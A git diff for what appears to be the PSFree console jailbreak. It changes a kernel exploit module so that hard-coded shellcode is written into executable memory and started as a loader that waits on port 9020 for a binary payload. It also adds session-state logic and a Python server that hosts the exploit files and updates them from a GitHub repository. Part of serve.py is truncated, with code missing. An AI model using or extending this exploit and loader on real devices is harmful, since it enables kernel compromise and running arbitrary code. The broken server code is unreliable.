diff --git a/lapse.mjs b/lapse.mjs index 57fd6bf..70c819a 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -1659,11 +1659,17 @@ export async function kexploit() { await init(); const _init_t2 = performance.now(); + if(sessionStorage.getItem('binloader')){ + runBinLoader(); + return new Promise(() => {}); + } + // If setuid is successful, we dont need to run the kexploit again try { if (sysi('setuid', 0) == 0) { - log("Not running kexploit again.") - return; + log("Not running kexploit again."); + runBinLoader(); + return new Promise(() => {}); } } catch (e) {} @@ -1743,6 +1749,49 @@ export async function kexploit() { } } +function runBinLoader() { + /* BinLoader by ps3120 */ + var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); + var payload_loader = malloc32(0x1000); + var BLDR = payload_loader.backing; + BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC; + BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302; + BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF; + BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8; + BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474; + BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400; + BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000; + BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000; + BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300; + BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C; + BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500; + BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400; + BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348; + BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0; + BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F; + BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA; + BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89; + BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949; + BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900; + BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000; + BLDR[60] = 0xC3050FCA; + + chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); + + var pthread = malloc(0x10); + sysi('mlock', payload_buffer, 0x300000); + + call_nze( + 'pthread_create', + pthread, + 0, + payload_loader, + payload_buffer + ); + + log('BinLoader is ready. Send a payload to port 9020 now'); +} + //For some reason this payload loader version does KP. /*kexploit().then(() => { var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, -1, 0); @@ -1762,22 +1811,23 @@ export async function kexploit() { })*/ -kexploit().then(() => { - function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = backing; - return ptr; - } +function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = backing; + return ptr; +} - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } +function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; +} + +kexploit().then(() => { window.pld_size = new Int(0x26200000, 0x9); var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); diff --git a/payload.js b/payload.js index f64dfc2..1ba4d7f 100644 --- a/payload.js +++ b/payload.js @@ -1,6 +1,12 @@ -fetch('./payload.bin').then(res => { - res.arrayBuffer().then(arr => { - window.pld = new Uint32Array(arr); - +if (sessionStorage.getItem('jbsuccess')) { + sessionStorage.setItem('binloader', 1); +} else { + sessionStorage.removeItem('binloader'); + fetch('./payload.bin').then(res => { + res.arrayBuffer().then(arr => { + window.pld = new Uint32Array(arr); + sessionStorage.setItem('jbsuccess', 1); + }) }) -}) \ No newline at end of file +} + diff --git a/serve.py b/serve.py new file mode 100755 index 0000000..7bdc501 --- /dev/null +++ b/serve.py @@ -0,0 +1,237 @@ +import sys +import socket +import os +from http.server import SimpleHTTPRequestHandler +from socketserver import TCPServer +from rich.console import Console +from rich.panel import Panel +from rich.text import Text +import json +from datetime import datetime +import hashlib +import urllib.request +import re + +console = Console() + +# Configuration for manifest generation +EXCLUDED_DIRS = {'.venv', '.git', 'noneed'} +EXCLUDED_EXTENSIONS = { + '.bat', '.txt', '.exe', '.mp4', '.py', '.bak', '.zip', + '.mp3', '.sh', '.h', '.c', '.o', '.ld', '.md', '.d' +} +EXCLUDED_FILES = {'.gitignore', 'COPYING', 'LICENSE', 'MAKEFILE', 'dockerfile'} +OUTPUT_FILE = 'PSFree.manifest' + +def get_machine_ip(): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + # doesn't have to be reachable + s.connect(('8.8.8.8', 80)) + ip = s.getsockname()[0] + except Exception: + ip = '127.0.0.1' + finally: + s.close() + return ip + +def is_docker(): + # Check for .dockerenv file + if os.path.exists('/.dockerenv'): + return True + # Check cgroup info for docker + try: + with open('/proc/1/cgroup', 'rt') as f: + return 'docker' in f.read() or 'kubepods' in f.read() + except Exception: + return False + +def get_host_ip(): + try: + # Try resolving Docker internal host (works on Docker Desktop and configured Linux setups) + host_ip = socket.gethostbyname('host.docker.internal') + return host_ip + except socket.error: + # Fallback if not resolved, may use default gateway IP (requires extra code) or local IP + return 'Could not determine host IP' + +def get_ipv4(): + if is_docker(): + ip = get_host_ip() + if ip: + print(f"Running inside Docker. Host IPv4: {ip}") + else: + print("Running inside Docker, but could not resolve host.docker.internal.") + else: + ip = get_machine_ip() + print(f"Not in Docker. Machine IPv4: {ip}") + return ip + +def create_manifest(): + root_dir = os.path.dirname(os.path.abspath(__file__)) + manifest_path = os.path.join(root_dir, OUTPUT_FILE) + with open(manifest_path, 'w', encoding='utf-8') as f: + # Write header + f.write("CACHE MANIFEST\n") + f.write(f"# v1\n") + f.write(f"# Generated on {datetime.now()}\n\n") + f.write("CACHE:\n") + # Walk through all files + for dirpath, dirnames, filenames in os.walk(root_dir): + # Remove excluded directories (modifies the dirnames list in-place) + dirnames[:] = [d for d in dirnames if d not in EXCLUDED_DIRS] + for filename in filenames: + filepath = os.path.join(dirpath, filename) + relpath = os.path.relpath(filepath, root_dir) + # Skip excluded files, extensions and the manifest file itself + ext = os.path.splitext(filename)[1].lower() + if (ext in EXCLUDED_EXTENSIONS or + filename in EXCLUDED_FILES or + filename == OUTPUT_FILE): + continue + # Write relative path to manifest + f.write(f"{relpath.replace(os.sep, '/')}\n") + # Write network section + f.write("\nNETWORK:\n") + f.write("*\n") + + +class CustomHandler(SimpleHTTPRequestHandler): + + def do_POST(self): + if self.path == '/generate_manifest': + try: + create_manifest() + response = { + 'status': 'success', + 'message': f'{OUTPUT_FILE} created successfully.\nThe cache has been updated, Please refresh the page.' + } + self.send_response(200) + except Exception as e: + response = { + 'status': 'error', + 'message': f"{str(e)}\nThis option only works on local server!\nPlease make sure your server is up." + } + self.send_response(500) + self.send_header('Content-Type', 'application/json') + self.end_headers() + self.wfile.write(json.dumps(response).encode('utf-8')) + + elif self.path == '/update_exploit': + root_dir = os.path.abspath(os.path.dirname(__file__)) + files_to_update = [ + ("psfree/lapse.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/lapse.mjs"), + ("psfree/psfree.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/psfree.mjs"), + ("psfree/config.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/config.mjs"), + ("psfree/send.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/send.mjs"), + ("psfree/kpatch/900.elf", "https://raw.githubusercontent.com/kmeps4/PSFree/main/kpatch/900.elf"), + ("psfree/rop/900.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/rop/900.mjs"), + #("module/chain.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/chain.mjs"), + ("psfree/module/constants.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/constants.mjs"), + ("psfree/module/int64.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/int64.mjs"), + ("psfree/module/mem.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/mem.mjs"), + ("psfree/module/memtools.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/memtools.mjs"), + ("psfree/module/offset.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/offset.mjs"), + ("psfree/module/rw.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/rw.mjs"), + ("psfree/module/utils.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/utils.mjs"), + #("module/view.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/view.mjs") + ] + results = [] + + #def file_hash(data): + # return hashlib.sha256(data).hexdigest() + + def is_mjs_file(filename): + return filename.lower().endswith('.mjs') + + for local_rel_path, url in files_to_update: + try: + abs_local_path = os.path.abspath(os.path.join(root_dir, local_rel_path)) + if not abs_local_path.startswith(root_dir): + raise ValueError(f"Invalid path {local_rel_path}") + + # Attempt to download file + try: + with urllib.request.urlopen(url) as response: + raw_data = response.read() + except Exception as download_error: + results.append(f"{local_rel_path}: download failed ({download_error})") + continue # skip to next file + + # If .mjs file, decode, replace strings using regex, then encode back + if is_mjs_file(local_rel_path): + text_data = raw_data.decode('utf-8') + text_data = re.sub(r'(? 1: + try: + PORT = int(sys.argv[1]) + except ValueError: + console.print("[bold red]Usage:[/] python serve.py [port]", style="red") + sys.exit(1) + +console.print(Panel(Text("Simple Python HTTP Server", style="bold white on blue"), + subtitle="Press [bold yellow]Ctrl+C[/] to stop the server", expand=False)) + +console.print( + f"[green]Server is running![/]\n" + f"Listening on [bold magenta]http://{IP}:{PORT}/PSFree[/]\n", + style="bold", +) + +try: + with TCPServer(("0.0.0.0", PORT), CustomHandler) as httpd: + httpd.serve_forever() +except KeyboardInterrupt: + console.print("\n[bold red]Server stopped by user.[/]") +except OSError as e: + console.print(f"[bold red]Error:[/] {e}") \ No newline at end of file